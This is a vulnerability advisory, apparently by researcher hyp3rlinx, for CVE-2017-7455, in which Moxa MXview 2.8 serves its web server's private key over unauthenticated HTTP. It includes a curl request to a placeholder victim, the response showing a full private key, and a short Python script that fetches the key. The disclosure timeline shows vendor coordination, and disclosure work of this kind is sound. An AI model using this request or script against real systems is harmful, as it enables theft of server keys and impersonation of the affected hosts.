Moxa MXview 2.8 Private Key Disclosure

`[+] Credits: John Page AKA HYP3RLINX   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-REMOTE-PRIVATE-KEY-DISCLOSURE.txt  
[+] ISR: APPARITIONSEC   
  
  
  
Vendor:  
============  
www.moxa.com  
  
  
  
Product:  
===========  
MXview V2.8  
  
Download:  
http://www.moxa.com/product/MXstudio.htm  
  
MXview Industrial Network Management Software.  
  
Auto discovery of network devices and physical connections  
Event playback for quick troubleshooting  
Color-coded VLAN/IGMP groups and other visualized network data  
Supports MXview ToGo mobile app for remote monitoring and notificationanytime, anywhere.  
  
  
  
Vulnerability Type:  
=============================  
Remote Private Key Disclosure  
  
  
  
CVE Reference:  
==============  
CVE-2017-7455  
  
  
  
Security Issue:  
================  
MXview stores a copy of its web servers private key under C:\Users\TARGET-USER\AppData\Roaming\moxa\mxview\web\certs\mxview.key.  
Remote attackers can easily access/read this private key "mxview.key" file by making an HTTP GET request.  
  
e.g.  
  
curl -v http://VICTIM-IP:81/certs/mxview.key  
  
  
* About to connect() to VICTIM-IP port 81  
* Trying VICTIM-IP... connected  
* Connected to VICTIM-IP (VICTIM-IP) port 81  
> GET /certs/mxview.key HTTP/1.1  
> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5   
> Host: VICTIM-IP:81  
> Accept: */*  
>   
< HTTP/1.1 200 OK  
< Date: Tue Feb 28 14:18:00 2017  
< Server: GoAhead-Webs  
< Last-modified: Tue Feb 28 10:46:51 2017  
< Content-length: 916  
< Content-type: text/plain  
-----BEGIN PRIVATE KEY-----  
MIICdwIBADANBgkqhkiG2w0BAQEFAASCAmEwggJdAgEAAoGBAMO2BjHS6rFYqxPb  
QCjhVn5+UGwfICfETzk5JQvhkhc71bnsDHI7lVyYhheYLcPQBEglVolwGANPp7LF  
2lhG+UaSFfTVk8UDvV0qQpjSQvDjcWSuKBfceyT5zmI8ynxuMHoqBR7ZOSLY31z+  
Rxt+JCykwqfMGdjawnC5ivr8iWDpAgMBAAECgYAQpHjwYbQtcpHRtXJGR6s4RHuI  
RjlQyGPIRPC+iucGbMMm9Ui1qhVwc1Pry7gQj67dh7dNJqgUGAD1tdd0bEykKoqm  
ICgXj0HMPCLxUy4CHIZInsBhzAyp/3atkDIaeELZckCbmttkVvncDi+b9HnuL/To  
YwJpuLkpXEKpjK7iAQJBAOof+yliPn7UsBecw/Hc/ixeDRGI1kjtvuOvSi6jLZoj  
3rzODMSD1eRcrK/GJydWVT8TV3WXXYn3M1cu3kmQJKkCQQDV/zlBtFFPPVAl1zy7  
UBG+RPI63uXeaA0C1+RX2XfJSR4zeKxnWgalzUl0UwMgWB3Gpp2+VW5a/zw3aKlK  
6MJBAkBHPMXqWKdVZhfSh3Ojky+PhmqJjE5PUG/FzZ9Pw3zrqsBqSHPgE5Ewc/Zj  
YXKmavCbSaJR+GWQxjPL8knWrlJJAkEAkahnEJHrxkO1igw3Ckg0y4yiU+/kBr5M  
HONWSXV8U0WxiNdagf6FB9XzaXoXZuyTl+NQ+3yq4MVZ910F3jcQAQJBAI+q0AcX  
EskHai2Fx24gkHwwRxacsiXrRClxIj5NB52CSo2Sy6EF02DKQVWR3oIjDesXcWvl  
+CPTV6agBkYxe7Q=  
-----END PRIVATE KEY-----  
  
  
  
Exploit:  
=========  
import socket  
  
print 'Moxa MXview 2.8 Remote Private Key Theft'  
print 'by hyp3rlinx\n'  
  
IP=raw_input("[Moxa MXview IP]> ")  
PORT=int(raw_input("[PORT]> "))  
STEAL_PRV_KEY="GET /certs/mxview.key HTTP/1.1\r\nHost: "+IP+"\r\n\r\n"  
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((IP,PORT))  
s.send(STEAL_PRV_KEY)  
  
print 'Enjoy ur private server key!\n'  
print s.recv(512)  
  
s.close()  
  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
  
Severity:  
=========  
Critical  
  
  
  
Disclosure Timeline:  
===================================  
Vendor Notification: March 5, 2017  
Vendor confirms vulnerability : March 21, 2017  
Vendor "updated firmware April 7, 2017" : March 29, 2017  
April 9, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
HYP3RLINX  
`